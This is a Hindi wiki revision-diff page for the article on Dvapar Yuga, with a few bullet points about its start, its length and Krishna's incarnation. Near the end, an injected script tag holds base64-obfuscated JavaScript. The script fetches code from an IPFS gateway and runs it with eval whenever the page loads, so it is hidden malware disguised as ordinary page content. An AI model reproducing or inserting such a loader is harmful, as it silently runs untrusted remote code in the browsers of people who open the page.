"द्वापर युग" के अवतरणों में अंतर  

[अनिरीक्षित अवतरण][अनिरीक्षित अवतरण]
छो (Text replace - "{{लेख प्रगति" to "{{प्रचार}} {{लेख प्रगति")
पंक्ति १: पंक्ति १:
*यह चार युगों में तीसरा [[युग]] है। इसका आरंभ भाद्रपद कृष्ण त्रयोदशी से होता है।  
+
*यह चार युगों में तीसरा [[युग]] है। इसका आरंभ [[भाद्रपद]] कृष्ण त्रयोदशी से होता है।  
 
*इसकी अवधि [[पुराण|पुराणों]] में आठ लाख चौसठ हज़ार वर्ष मानी गई है।  
 
*इसकी अवधि [[पुराण|पुराणों]] में आठ लाख चौसठ हज़ार वर्ष मानी गई है।  
 
*यह युद्ध प्रधान युग है और इसके लगते ही धर्म का क्षय आरंभ हो जाता है।  
 
*यह युद्ध प्रधान युग है और इसके लगते ही धर्म का क्षय आरंभ हो जाता है।  

०९:००, २२ जून २०११ का अवतरण

  • यह चार युगों में तीसरा युग है। इसका आरंभ भाद्रपद कृष्ण त्रयोदशी से होता है।
  • इसकी अवधि पुराणों में आठ लाख चौसठ हज़ार वर्ष मानी गई है।
  • यह युद्ध प्रधान युग है और इसके लगते ही धर्म का क्षय आरंभ हो जाता है।
  • भगवान कृष्ण ने इसी युग में अवतार लिया था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

"https://amp.bharatdiscovery.org/w/index.php?title=द्वापर_युग&oldid=174339" से लिया गया